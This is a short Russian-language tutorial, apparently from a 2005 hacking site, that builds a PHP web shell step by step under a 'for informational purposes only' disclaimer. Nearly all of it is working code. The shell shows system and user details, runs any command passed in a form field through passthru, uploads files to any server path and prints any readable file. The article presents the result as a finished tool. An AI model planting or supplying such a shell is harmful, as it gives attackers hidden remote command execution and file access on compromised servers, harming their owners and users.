Все материалы предоставлены только с ознакомительной целью
Статьи | Кодинг | Web-Shell
Web-Shell
© Cobalt 12.12.2005
© Cobalt 12.12.2005
Напишем простенький вебшел. С его помощью можно будет выполнять на сервере команды, закачивать на него файлы и читать файлы находящиеся на сервере.
Во-первых, выведем сведения о системе:
Сведения о системе: <textarea cols=100 rows=4 readonly> <? passthru("uname -a"); passthru("id"); passthru("sysclt"); ?> </textarea>
Теперь создадим форму со всеми окошечками и кнопочками:
<!-- Form --> <form action="<? echo($HTTP_REFERER) ?>" method="POST"> <p>Введите команду: <input type="command" size="100" name="cmd"><br> Рабочая директория:<br> <input type="text" size="121" name="dir" value=" <? if($dir != null) { chdir($dir); passthru("pwd"); }else passthru("pwd"); ?>"><br> <input type="submit" name="submit" value="Выполнить"><br> Загрузка файлов: <input type="file" size="100" name="filename"><br> Куда: <input type="text" size="95" name="dirname"><br> <input type="submit" name="upload" value="Загрузить"><br> Просмотр файлов: <input type="text" size="90" name="rfile"><br> <input type="submit" name="read" value="Прочитать"><br> </p> </form>
Теперь выведем результат:
Результат выполнения команды: <textarea cols=100 rows=25 readonly> <? if ($dirname != ""){ if(copy($_FILES["filename"]["tmp_name"], $dirname)) echo("Файл успешно загружен"); else echo("Ошибка загрузки файла"); } if ($cmd != "") passthru($cmd); if ($rfile != ""){ if (!($fp=fopen($rfile,"r"))) echo("Ошибка открытия файла"); fpassthru($fp); }; ?> </textarea>
Вот и готовый шел =).
© Cobalt 12.12.2005



норм =/